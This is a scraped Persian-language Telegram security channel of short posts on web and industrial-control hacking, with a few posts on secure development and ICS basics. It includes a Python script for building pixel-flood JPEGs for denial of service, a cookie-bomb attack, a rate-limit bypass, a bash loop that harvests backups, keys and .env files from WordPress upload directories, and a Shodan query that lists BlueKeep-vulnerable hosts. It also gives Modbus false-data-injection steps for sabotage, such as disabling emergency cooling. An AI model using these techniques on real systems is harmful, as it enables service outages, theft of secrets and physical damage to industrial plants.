Web Application Security – Telegram
Web Application Security
1.8K subscribers
11 photos
1 video
2 files
38 links
Download Telegram
جاهایی که image parser هست، یه عکس معمولی انتخاب میکنیم و pixel های طول و عرضشو افزایش میدیم. در نتیجه وقتی تصویر parse میشه مصرف مموری زیاد میشه و تبدیل به DOS میشه.
به این عمل میگن pixel flood که روی عکس های jpg / jpeg انجام میدیم.
برای افزایش pixel های یه عکس معمولی از کد زیر استفاده میکنیم. (اجرا کردنش روی سیستم ضعیف مثل خودکشی میمونه xD)

from PIL import Image
img_path = 'normal.jpg'
img = Image.open(img_path)
new_size = (64250, 64250)
resized_img = img.resize(new_size)
resized_img.save('DOS.jpg')
print("Image resized successfully!")


#DOS
#pixel_flood
23👍7🔥4
قبل از یادگیری مباحث فنی تو کامپیوتر بهتره اول "نحوه‌ی سوال پرسیدن رو یاد گرفت"
سوال رو مستقیم بپرسین بدون سرشماری افراد.
یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین.
سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواسته‌ی شما چیه بدون اینکه سوالی بپرسه.
تو گروه قبل از مطرح کردن چیزی حتما قوانینشو بخونین و خارج از قوانین گروه موضوعی مطرح نکنین.
قبل سوال پرسیدن تو گروه یه سرچ کنین شاید سوال شمارو قبلا یکی پرسیده و به جواب رسیده.
پیامتون رو بریده بریده نفرستید.

اگر نحوه‌ی سوال پرسیدن شما یکی از حالت های بالا هست و اگر از گروهی بن شدید یا سوالتون رو جواب ندادن یا جواب سر بالا گرفتید نباید ناراحت بشید چون شما نحوه‌ی مشارکت با بقیه رو بلد نیستید و برای وقت بقیه ارزش قائل نمیشید.
👍356
Web Application Security pinned «قبل از یادگیری مباحث فنی تو کامپیوتر بهتره اول "نحوه‌ی سوال پرسیدن رو یاد گرفت" سوال رو مستقیم بپرسین بدون سرشماری افراد. یه سلام گفتین منتظر جواب نباشین ادامش سوالتون رو بپرسین. سوالتون رو کامل و دقیق تو یه پیام بپرسید که بیننده دقیق متوجه بشه خواسته‌ی شما…»
جاهایی که ورودی کاربر داخل cookie قرار میگیره مثل username میشه یه username با طول کاراکتر زیاد رو فرستاد و درنتیجه سرور وقتی کل دیتارو تو cookie قرار بده خطایی ظاهر میشه با عنوان Cookie یا Request header طولانیه و مرورگر نمیتونه اون سایت رو باز کنه تا وقتی cookie پاک بشه. به این آسیب پذیری میگن Cookie Bomb که منجر به DOS میشه. اما این یک سناریو self هست و برای اکسپلویت باید پارامتری پیدا کرد که مقدارش دقیقا تو cookie قرار بگیره و وقتی لینک رو قربانی باز کرد اکسپلویت بشه(مثل سناریو های CSRF که one click هست). برای مثال :
https://target.com/?param=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.........


#Cookie_Bomb
#DOS
👍332
اصولی برای توسعه امن نرم افزار =

1. Least Privilege (اصل کمترین سطح دسترسی) :
برای پیاده سازی این اصل، باید پایین ترین سطح دسترسی به سرویس ها و کاربران داده شود.
برای مثال :
در SQL Server باید مواردی مانند xp_cmdshell غیر فعال شود.
از حساب کاربری root استفاده نشود.

رعایت نکردن این موارد منجر به افزایش سطح دسترسی میشود.

2. leveraging existing components (اصل استفاده از مؤلفه‌های موجود و اثبات شده) :
باید به جای نوشتن فانکشن امنیتی از صفر، از روش ها و کتابخونه ها و الگوریتم های موجود و اثبات شده استفاده کنیم.
برای مثال :
برای Hashing به جای اینکه از الگوریتم های خود ساخته استفاده کنیم بهتره از الگوریتم هایی که طی سال ها اثبات شدن استفاده کنیم مانند bcrypt.
در Web Application استفاده از Session Management استاندارد و آزمایش‌شده به‌مراتب امن‌تر از روش های کاستوم است.


#application_security
12👍2
جاهایی که rate limit روی شماره کار میکنه، میتونیم با اضافه کردن + به +98 بایپسش کنیم.

#rate_limit_bypass
44👍10👎4🔥3
اگه تو وردپرس Directory listing فعال باشه، معمولا حجم زیادی از دیتارو تصاویر تشکیل میدن در صورتی که باید دنبال فایل هایی مثل log , zip , sql و...... باشیم.
با اسکریپت زیر میتونیم همه ی فایل های مهم و حساس رو به صورت اتومیت به دست بیاریم(دایرکتوری های مربوط به سال 2016 تا 2025 رو بررسی میکنه)


for year in {2016..2025}; do
for month in {01..12}; do
base="https://target.tld/wp-content/uploads/$year/$month/"
echo "[+] Checking $base"
curl -s "$base" | grep -Eo 'href="[^"]+"' | cut -d'"' -f2 |
grep -Ei '\.(bak|old|backup|sql|env|git|log|cfg|conf|ini|db|json|xml|yml|yaml|zip|tar|gz|rar|7z|pem|crt|key|csr|p12|swp|php~|txt|inc|htpasswd|htaccess)(\?|$)' |
while read path; do
if [[ "$path" =~ ^https?:// ]]; then
echo "$path"
elif [[ "$path" =~ ^/ ]]; then
echo "https://target.tld$path"
else
echo "${base}${path}"
fi
done
done
done


#WordPress
👍3013🔥3
در Django یک اقدام امنیتی برای جلوگیری از CSRF وجود داره به نام CSRF_TRUSTED_ORIGINS که یک وایت لیسته و به Origin های داخل اون اجازه میده درخواست های Cross Origin ارسال کنن و تنظیم این مورد جلوی اکسپلویت CSRF از دامنه هکر رو میگیره.
این یعنی با داشتن XSS از اون Origin میتونیم روی تارگت CSRF بزنیم.
از بیرون نمیتونیم این تنظیمات رو ببینیم. ولی اگر Debug mode سامانه فعال باشه میتونیم این تنظیمات رو ببینیم.
اگه Debug mode فعال نبود باید همه ی دامنه های کمپانی رو FUZZ کنیم(بررسی دامنه های CSP هم خالی از لطف نیست).

#CSRF
#Django
32👍2
Exploitology_Web_Apps_Exploits_-_Mahdi_Alemi.pdf
7 MB
کتاب تازه اومده
سرفصل های خیلی خوبی رو کاور میکنه

#resource
22🔥4👍1
سایت https://pocorexp.nsa.im/ همه‌ی CVEها رو فهرست کرده و اگر برای هرکدوم اکسپلویت پابلیک وجود داشته باشه، اون رو هم پایینش قرار می‌ده.

#resource
26👍5
یکی از منابع غیررسمی برای یادگیری، وب سایت slideshare.net است. با باز کردن یه اسلاید، معمولا اسلاید های مرتبط با همون موضوع رو هم پیشنهاد میده. برای مثال این اسلاید درباره امنیت OT است و در بخش Recommended موضوعاتی مثل IOT , ICS رو آورده.
برای دانلود اسلاید ها میتونین از slidesaver.app استفاده کنین.

#resource
13👍8
برای پیدا کردن Public IP های یک منطقه (مثل یک دانشگاه، سازمان، محله یا حتی روستا)، باید از طریق Google Maps مختصات جغرافیایی اون منطقه رو به دست بیارین و بعد در سایت shodan با فیلتر geo سرچش کنین.

#shodan
42🔥11👍8
تا حالا شده بخواین کل سرور های آسیب پذیر به یک CVE رو پیدا کنین؟
با shodan و فیلتر vuln این کار ممکنه، اما با اکانت رایگان نمیشه اینکارو انجام داد.
تو آموزشی که اینجا قرار میدم میتونیم این محدودیت رو بایپس کنیم و هزاران سرور آسیب پذیر به یک CVE خاص رو با اکانت رایگان پیدا کنیم.
برای مثال با این کوئری میتونیم کلی سرور آسیب پذیر به BlueKeep رو پیدا کنیم :
Country:"JP" Org:"NTT DOCOMO,INC." OS:"Windows 7 Professional" ssl.version:"tlsv1" ssl.jarm:"26d26d16d26d26d22c26d26d26d26dfd9c9d14e4f4f67f94f0359f8b28f532"

آموزش ساخت کوئری در ویدئو زیر :

#shodan
22👍4🔥2
Forwarded from Security Analysis
⭕️ امنیت⁩ CI/CD رو امشب در خدمتتون هستیم:

🕘 ساعت ۹

💡روشهای نفوذ از طریق CI/CD
💡دسترسی به سرورهای تست و پروداکشن
💡دسترسی به SECRETها
💡اصول امن سازی و توسعه امن نرم افزار

meet.google.com/rdr-cutu-qwd

#CICD #Security
@securation
13👍6
مقدمه ای به امنیت سیستم های کنترل صنعتی؟
Final Results
86%
👍
14%
👎
👍2
امنیت سیستم های کنترل صنعتی قسمت ۱ :

خب شروع میکنیم.
اکثر آموزش های پابلیک تو وب فارسی بدون درک کردن مفاهیم مهم زیرساخت صنعتی وارد فاز اکسپلویت میشن که کاربردی نیست، مثل استفاده از sqlmap بدون دانش دیتابیسه و بخاطر همین اول مفاهیم پایه رو مرور میکنیم.

فرایند صنعتی =
به محموعه‌ای از فعالیت ها گفته میشه که برای تبدیل مواد خام به محصول نهایی در صنعت استفاده میشن. برای مثال همه مراحل مورد نیاز برای تبدیل چوب درخت به کاغذ.

اتوماسیون صنعتی =
همون سیستم تبدیل چوب درخت به کاغذ رو بدون دخالت انسان در نظر بگیرید. اتوماسیون صنعتی 3 بخش داره : سنسور، عملگر، کنترل کننده. سنسور پارامتر فیزیکی رو اندازه گیری میکنه و خروجیش وارد کنترل کننده میشه و کنترل کننده با توجه به ورودی دریافتی به عملگر دستور میده تا روی پارامتر های فیزیکی عمل کنه. برای مثال دماسنج به عنوان یه سنسور دمای محیط رو اندازه گیری میکنه و برای کنترل کننده که مواردی مثل PLC هست ارسالش میکنه و PLC تصمیم میگیره با توجه به دمای محیط به بخاری(به عنوان یک عملگر) دستور روشن یا خاموش شدن رو ارسال کنه.

کنترل کننده یا Controller =
کنترل کننده‌ها انواع مختلفی دارن که PLC پرکاربردترین اونهاست. PLC یه دستگاه الکترونیکی‌ هست که برای کنترل ماشین ها و فرایند های صنعتی استفاده میشه. مثل همون کامپیوتر های شخصی اما فقط برای محیط های صنعتی که بتونن در دمای خیلی بالا یا پایین کار کنن.

مفهوم ICS =
یه عنوان کلی هست و به هر سیستم کنترل صنعتی میتونیم بگیم ICS.

مفهوم SCADA =
یه سیستم کلی هست و مجموعه ای از نرم افزار و سخت افزار هارو شامل میشه. برای کنترل و جمع آوری داده‌ها و اطلاعات از راه دور استفاده میشه‌. داده ها از سنسور ها و PLC ها و..... جمع آوری میشه.

مفهوم HMI =
به معنی رابط بین انسان و ماشین هست. HMI به اپراتور اجازه میده ماشین یا تجهیزات رو کنترل کنه. معمولا یه مانیتور هست که اپراتور میتونه باهاش پارامتر های فیزیکی مانند روشن/خاموش بودن دستگاه‌ها رو ببینه یا کنترل کنه.

مفهوم DCS =
کاربردش مثل SCADA هست اما SCADA به صورت ریموت کار میکنه و معمولا در شبکه WAN استفاده میشه. اما DCS به صورت LAN استفاده میشه و وابستگی به اینترنت نداره در صورتی که ممکنه SCADA نیاز به اینترنت داشته باشه.

مفهوم RTU =
در محل های مختلف نصب میشه که داده هارو از سنسور ها دریافت کنه و به مرکز کنترل مثل SCADA ارسال کنه. میتونه دستوراتی که از مرکز کنترل میاد رو دریافت و اجرا کنه مثل خاموش/روشن کردن تجهیزات.

پروتکل های صنعتی =
پروتکل های صنعتی وظیفه برقراری ارتباط بین اجزای مختلف ICS مثل PLC, HMI رو دارن. پروتکل هایی مثل modbus, DNP3 نمونه هایی از پروتکل های صنعتی ان.

مقایسه پارامتر های زمانی بین IT و OT(همون ICS) =
در حملات IT پارامتر های زمانی خیلی مهم نیست مگر در race condition. چندین دقیقه تاخیر در وب سایت مشکل بزرگی ایجاد نمیکنه. اما در ICS فرض کنین که یک PLC دمای کوره رو کنترل میکنه و اگر اطلاعات دما با چند ثانیه تاخیر ارسال بشه، کنترل دما ممکنه به اشتباه انجام بشه و کوره خیلی داغ تر یا سردتر از حدمجاز بشه که باعث ایجاد مشکل تو فرایند تولید محصول میشه. برای همین availability در OT خیلی خیلی مهم تر از IT هست.

آسیب پذیری در پروتکل های صنعتی =
اکثر پروتکل های صنعتی مثل modbus هیچ گونه Authenticationی ندارن و اطلاعات رو به صورت clear text ارسال میکنن. دلیل این ضعف در پروتکل های صنعتی همون اهمیت زمان هستش و اگر داده ها به صورت cipher text ارسال بشن، یک مدت زمانی تاخیر ایجاد میکنه و ممکنه باعث ایجاد مشکل بشه. در نتیجه در ICS استاندارد های امنیتی به شکلی که تعریف شدن استفاده نمیشن خیلی وقتا.

#ICS
#SCADA
🔥2310👍1
امنیت سیستم های کنترل صنعتی قسمت ۲ :


سیر تکامل ICS =
در ابتدا هیچ شبکه ای وجود نداشت(شاید 50 سال پیش). بعدها دستگاه‌ها دیجیتال شدن و با استفاده از کابل serial ارتباطات رو برقرار میکردن. پروتکل هایی مثل modbus RTU روی کابل پیاده سازی شد. امنیت با ایزوله بودن برقرار بود چون با IP کار نمیکرد و تا وقتی کسی به کابل‌ها دسترسی نداشته باشه امنیت برقراره. امروزه دستگاه ها روی TCP/IP هم کار میکنن و از پروتکل هایی مثل modbus TCP استفاده میشه‌. همون پروتکل های ضعیف و قدیمی حالا روی اینترنت میتونن کار کنن!

ارتباطات در ICS =
ارتباطات اجزای مختلف مثل PLC, HMI و دیوایس های مختلف میتونه سیمی یا بی سیم یا ترکیبی باشه. مثل Ethernet, Serial, WIFI.

محدودیت هایی که باعث آسیب پذیر شدن میشه =
دستگاه های ICS مثل PLC, RTU معمولا منابع خیلی کمی دارن چون برای کارهای ساده و خاص طراحی شدن. درنتیجه یک DOS ساده ممکنه دستگاه رو down کنه و عملیات صنعتی متوقف بشه.

متصل بودن شبکه IT به شبکه OT =
اگر شبکه IT سازمان و OT به صورت مستقیم باهم در ارتباط باشن، شبکه IT میتونه راهی برای نفوذ به شبکه OT باشه. در نتیجه بهتره شبکه IT و OT با DMZ از هم جدا بشن و هیچ ارتباط مستقیمی بین OT و IT نباشه.

آسیب پذیری های IT در OT =
ممکنه روی سرور های HMI برای دسترسی ریموت مواردی مثل RDP یا VNC فعال باشه و با اکسپلویت این سرویس‌ها نفوذگر به HMI دسترسی پیدا کنه.

شبکه Air gap =
به شبکه ای گفته میشه که به اینترنت متصل نیست. زیرساخت های صنعتی معمولا به صورت Air gap پیاده سازی میشن و سرور هایی که با shodan پیدا میکنیم اکثرا honeypot هستند. برای نفوذ به زیرساخت های صنعتی که به شکل Air gap پیاده سازی شدن باید تجهیزات آلوده مثل USB وارد شرکت کرد.

#ICS
#SCADA
13🔥6👍3
امنیت سیستم های کنترل صنعتی قسمت ۳ :


پروتکل modbus =
یک پروتکل صنعتی است که برای تبادل داده بین دستگاه های صنعتی استفاده میشود.

ساختار داده در modbus به 4 شکل زیر است =
1. coil
2. Discrete input
3. Input register
4. Holding register
داده coil دارای قابلیت read و write، داده Discrete input دارای قابلیت read، داده input register دارای قابلیت read و داده  holding register دارای قابلیت read و write است.

فانکشن کد =
برای هر کاری یک function code در modbus وجود دارد.
1 ==> خواندن coil
2 ==> خواندن Discrete register
3 ==> خواندن holding register
4 ==> خواندن input register
5 ==> نوشتن coil
6 ==> نوشتن holding register

استفاده از nmap برای شناسایی modbus =
nmap -p 502 --noscript=modbus-discover 127.0.0.1

آسیب پذیری =
پروتکل modbus روی پورت 502 کار میکنه و بدون Authentication هست. مهاجم میتونه به صورت remote بهش وصل بشه و رجیستر های modbus که برای تبادل داده بین اجزای مختلف ICS استفاده میشه رو بخونه و تغییر بده. روی هر رجیستر از modbus میتونیم هر کدوم از دیتاهارو داشته باشیم. چالشی که وجود داره از بیرون نمیشه فهمید هر رجیستر یا coil برای چه کاری استفاده میشه، شاید مقدار خاموش/روشن بودن یک رله رو ذخیره کرده یا هرچیز دیگری. برای همین در این سناریو حمله به صورت False Data Injection انجام میشه که اگر فرضا آدرس 1 در رجیستر با نوع coil مقدار false را دارد به true تغییر میدهیم و همین طور true را به false تغییر میدهیم و اینکار باعث میشه اتوماسیون صنعتی به صورت معکوس کار کنه. یک مثال خیلی ساده برای درک سناریو : (مثلا آدرس 1 با نوع coil داده مربوط به خاموش یا روشن بودن سیستم خنک کننده اضطراری رو ذخیره کرده و روشنه اما با False Data Injection خاموشش میکنیم و این باعث افزایش دمای تجهیزات و از کار افتادن یا حتی آتش سوزی میشه). در نتیجه هدف این حمله خرابکاری هست.
اسکریپتی که قرار میدم رجیستر های 100 تا 110 رو اسکن میکنه و هر نوع داده های که پیدا کنه در یک فایل json ذخیره میکنه(میتونید بازه رو تغییر بدید). واسه تغییر دیتا هم میتونید همین اسکریپت رو به هوش مصنوعی بدین تغییرش بده.

#ICS
#SCADA
17👍2
modbus.py
1.5 KB
🔥8👍1
نمونه رجیستر های modbus
🔥112👍1